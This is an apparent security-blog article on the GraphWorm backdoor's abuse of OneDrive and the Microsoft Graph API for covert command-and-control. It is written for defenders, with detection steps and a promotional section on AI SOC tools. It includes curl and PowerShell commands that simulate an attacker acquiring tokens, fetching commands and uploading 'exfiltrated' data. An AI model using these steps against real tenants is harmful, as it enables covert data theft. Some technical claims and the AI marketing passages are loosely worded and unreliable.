Listen to this Post
Introduction:
Advanced Persistent Threat (APT) groups are evolving faster than traditional defenses, with the latest escalation coming from Webworm (also tracked as Jewelbug), a China-aligned espionage actor. In its 2025 campaigns targeting European governments, Webworm unveiled a sophisticated new backdoor known as GraphWorm. This malware represents a growing, dangerous trend among threat actors: abusing legitimate cloud infrastructure—specifically Microsoft OneDrive via the Microsoft Graph API—to disguise malicious command-and-control (C2) traffic as normal enterprise activity. For security professionals, this technique renders conventional blacklisting and perimeter detection nearly useless, forcing a shift toward behavioral analysis, API telemetry monitoring, and advanced threat hunting.
Learning Objectives:
- Understand how the GraphWorm malware leverages Microsoft OneDrive and the Graph API for stealthy C2 communication, creating a “trusted” channel for data exfiltration and command retrieval.
- Learn specific detection strategies, including network traffic analysis, Graph API audit log monitoring, and behavioral indicators of compromise (IoCs) to identify GraphWorm activity.
- Explore the application of emerging technologies, including SANS-aligned Cognitive AI tools, to build proactive defense frameworks against cloud-abusing adversaries.
You Should Know:
1. GraphWorm: Technical Deep-Dive and Operational Mechanics
Based on analysis by ESET researchers, GraphWorm (internally referred to as OverOneDrive) is a Go-written backdoor that relies exclusively on Microsoft OneDrive for all C2 operations. This design choice is significant: because OneDrive is a ubiquitous, trusted service in enterprise environments, its traffic is rarely inspected or blocked at the perimeter. GraphWorm’s infection chain typically begins with initial access (often via phishing), followed by persistence establishment at user logon.
Upon execution, GraphWorm authenticates to the Microsoft Graph API, likely using OAuth 2.0 tokens either stolen or generated from compromised credentials. For each victim, it creates a unique folder within a designated OneDrive account used by the attacker. This folder structure serves as a dead-drop resolver: the malware periodically checks this folder for new files, which it interprets as commands, and uploads files containing exfiltrated data or execution results. The communication is further hardened with robust encryption, including support for AES-256-CBC, ensuring that even if traffic is captured, it remains opaque to defenders.
Step-by-step guide to simulate and understand the C2 flow:
While actual malware analysis requires a sandbox, you can simulate the legitimate API calls an attacker would use, which is crucial for understanding what to look for.
Part 1: Simulating the Attacker’s Setup (Conceptual)
An attacker would first register an application in Azure AD to obtain a `client_id` and `client_secret` or configure a delegated authentication flow. They would then generate an access token.
PowerShell: Simulate token acquisition (requires AzureAD or MSAL.PS module) This is illustrative of the attacker's steps Install-Module -Name MSAL.PS -Force $clientId = "<ATTACKER_CLIENT_ID>" $clientSecret = "<ATTACKER_CLIENT_SECRET>" | ConvertTo-SecureString -AsPlainText -Force $tenantId = "<TARGET_TENANT_ID>" $tokenRequest = Get-MsalToken -ClientId $clientId ` -TenantId $tenantId ` -ClientSecret $clientSecret ` -Scopes "https://graph.microsoft.com/.default" Write-Host "Access Token Acquired: $($tokenRequest.AccessToken)"
Part 2: GraphWorm’s C2 Check-in Simulation
Using the acquired token, the malware would query the root of its designated OneDrive folder to look for commands.
Linux / WSL: Using cURL to interact with the Microsoft Graph API Replace ACCESS_TOKEN with a valid token ACCESS_TOKEN="YOUR_ACCESS_TOKEN_HERE" GraphWorm lists the contents of its root directory to find new command files curl -X GET "https://graph.microsoft.com/v1.0/me/drive/root/children" \ -H "Authorization: Bearer $ACCESS_TOKEN" \ -H "Content-Type: application/json" GraphWorm then downloads a specific command file (e.g., "cmd.txt") curl -X GET "https://graph.microsoft.com/v1.0/me/drive/root:/path/to/cmd.txt:/content" \ -H "Authorization: Bearer $ACCESS_TOKEN"
Part 3: Data Exfiltration Simulation
GraphWorm exfiltrates data by uploading files to the attacker-controlled OneDrive folder.
Linux / WSL: Uploading a file as exfiltration Create a dummy file to exfiltrate echo "Sensitive data" > ./exfil_data.txt Upload the file to the root of the attacker's OneDrive curl -X PUT "https://graph.microsoft.com/v1.0/me/drive/root:/exfil_data.txt:/content" \ -H "Authorization: Bearer $ACCESS_TOKEN" \ -H "Content-Type: text/plain" \ --data-binary "@./exfil_data.txt"
Step-by-step guide for defenders to detect this abuse:
- Enable Unified Audit Logging: In the Microsoft 365 Defender portal, ensure that audit logs for SharePoint and OneDrive are turned on, specifically logging
FileUploaded,FileDownloaded, and `FileAccessed` events. - Monitor for Anomalous Graph API Calls: Configure your SIEM (e.g., Splunk, Sentinel) to alert on a single user account generating a high volume of API calls to `graph.microsoft.com` for file download/upload from a single remote IP address, especially outside of business hours.
- Analyze User-Agent Strings: GraphWorm uses a hardcoded or generic Go HTTP client User-Agent. Create a detection rule for authentication events associated with Microsoft Graph API where the User-Agent does not match known corporate tools (e.g., “Microsoft Office”, “Mozilla/5.0 (Windows NT)”).
- Look for OAuth Token Generation Anomalies: Monitor Azure AD sign-in logs for the `Microsoft Graph` application where the `client credential` flow is used by a non-interactive user (a service principal), particularly if that principal was created recently.
2. The Broader Ecosystem: Other Graph-API Abusing Malware
GraphWorm is not an isolated phenomenon. It represents a maturing class of threats. A Linux variant named GoGra has been observed using the same technique, leveraging Microsoft Graph API and Outlook mailboxes as a covert C2 channel. Similarly, the Havoc post-exploitation framework has been modified to use SharePoint with the Graph API to obscure its C2 communications, hiding payloads behind legitimate SharePoint sites. Another tool, GRAPHBROTLI, written in Go, uses hardcoded credentials to authenticate to the Graph API, effectively laundering its C2 traffic. This proliferation indicates a strategic shift: attackers are moving towards “infrastructure-less” models, relying entirely on trusted third-party cloud services to eliminate the need for owning and protecting their own C2 servers.
Step-by-step guide for network-based detection of cloud C2 channels:
- Implement SSL/TLS Inspection: While privacy is a concern, decrypting and inspecting outbound TLS traffic at the perimeter is the only way to see the specific API endpoints being called inside the encrypted Graph API traffic.
- Deploy EDR with API Monitoring: Use Endpoint Detection and Response (EDR) tools that can monitor process tree creation and specific API calls made by processes like
powershell.exe,cmd.exe, or wscript to `winhttp.dll` orwininet.dll. Look for processes making calls to `graph.microsoft.com` that are not typical for that process. - Analyze DNS Tunneling / Beaconing: The periodic checking of a file in OneDrive creates a consistent beaconing pattern. Use Network Detection and Response (NDR) tools to analyze traffic for regular, repeating connections to `.sharepoint.com` or `.onedrive.com` domains, particularly when the payload sizes are unusually small or consistent.
- Hunt for De-Anonymized OAuth Tokens: Security teams should create detection logic for events where an OAuth 2.0 token is used from a geographic location or ASN that is anomalous for the authenticated user.
Windows Command List for Live Response:
REM Check for running processes making network connections to Microsoft cloud domains
netstat -anob > C:\temp\netstat_connections.txt
findstr /i "onedrive sharepoint graph.microsoft" C:\temp\netstat_connections.txt
REM Audit scheduled tasks for persistence
schtasks /query /fo LIST /v > C:\temp\scheduled_tasks.txt
REM Check for unusual PowerShell download cradle commands in event logs
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Message -match "graph.microsoft.com" }
- Defending with AI: The SANS 2026 Cognitive AI Revolution
In response to threats like GraphWorm, the defensive landscape is being reshaped by Artificial Intelligence. In 2026, organizations aligned with SANS frameworks are moving beyond simple automation towards Cognitive AI platforms. These systems are specifically designed for SOC analysts, threat hunters, and incident responders to reduce cognitive load and operational anxiety. Unlike generic LLMs, these purpose-built cybersecurity LLMs are trained from the ground up on security telemetry, attack patterns, and adversary behavior frameworks like MITRE ATT&CK.
Step-by-step guide to implementing a Cognitive AI triage workflow in a SOC:
- Data Ingestion: Connect the Cognitive AI platform to your SIEM, EDR, and cloud audit logs (including Microsoft 365 unified audit logs) using pre-built connectors (e.g., Splunk DB Connect, Azure Event Hubs).
- Rule Refinement: Feed the AI historical data and false positive rates. The AI will automatically adjust detection rule thresholds and suppression logic, a process known as Precision-AI, which can reduce Tier-1 ticket volume by up to 95%.
- Automated Narrative Building: When an alert triggers (e.g., for potential GraphWorm activity), the AI agent automatically begins an investigation. It gathers all related telemetry, maps the attack chain to the MITRE ATT&CK matrix, and generates a plain-language narrative of the incident, including hypotheses about adversary intent.
- Guided Response: The system then presents the SOC analyst with a prioritized list of response actions, ranging from “Block Indicator” to “Isolate Host,” along with the confidence score for each recommendation. This transforms the analyst’s role from deep, stressful log analysis to validating AI-driven decisions.
-
Introducing “CyRex”: A Case Study in Hunter-Oriented Cognitive AI
A notable example of this next-generation technology is CyRex, showcased as the first Iranian example of a completely hunter-oriented Cognitive AI architecture. Its “Proven ability to deploy this system in Total Local & OFFLINE” is a critical feature for highly sensitive environments that cannot rely on cloud-based AI services. CyRex is specialized for a “full attack narrative” and creating hypotheses on the MITRE matrix, actively controlling common AI problems like hallucinations and overconfidence. For a blue team facing GraphWorm, a tool like CyRex would ingest OneDrive API logs and proactively generate hunting hypotheses: “Are there any service principals that were created in the last 30 days and are now only making calls to OneDrive file upload endpoints?” This shifts defense from reactive alerting to proactive threat hunting.
What Undercode Say:
- Key Takeaway 1: The Fall of the Perimeter. GraphWorm demonstrates that trusting traffic to “trusted” services is no longer viable. Security architects must embrace a Zero Trust model that assumes all traffic, even from OneDrive or Teams, could be malicious and requires inspection. The shift to “infrastructure-less” adversaries mandates a corresponding shift to data-centric security controls.
- Key Takeaway 2: AI Augmentation is Mandatory. The telemetry generated by thousands of Graph API calls is impossible for humans to analyze at scale. As attackers automate their evasions, defenders must use Cognitive AI not as a luxury, but as a core component of the SOC to handle Tier-1 triage, narrative generation, and hypothesis creation. The 2026 SANS alignment is a clear market signal that AI proficiency is becoming a baseline requirement for cybersecurity professionals.
Analysis:
The combination of GraphWorm’s stealth and the rise of Cognitive AI represents a new arms race. Attackers are becoming “landlords” within our cloud environments, while defenders are becoming “architects” of AI-driven surveillance states within their own networks. The most significant finding is the trend of malware like GraphWorm using standard OAuth flows, making them indistinguishable from legitimate application authentication. This fundamentally undermines traditional signature-based detection. The future of defense lies not in recognizing the malware, but in recognizing the intent behind an authentication request. This requires a behavioral and statistical model of “normal” user and service principal behavior, a task ideally suited for machine learning.
Prediction:
By 2027, we will witness the emergence of “C2 laundering” as a service, where underground providers offer pre-configured access to various cloud APIs (OneDrive, Dropbox, AWS S3, Google Drive) for a fee. This will commoditize stealthy C2 operations, lowering the barrier for entry-level cybercriminals. In response, cloud providers will be forced to implement “adversarial AI” models natively within their API gateways. These models will analyze every API call in real-time for statistical anomalies—such as unusual inter-arrival times, entropy of file names, or variance in data upload sizes—and automatically throttle or flag sessions that exhibit behavioral characteristics consistent with malware C2, moving security enforcement from the network perimeter to the application layer itself.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Mayura Kathiresh – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
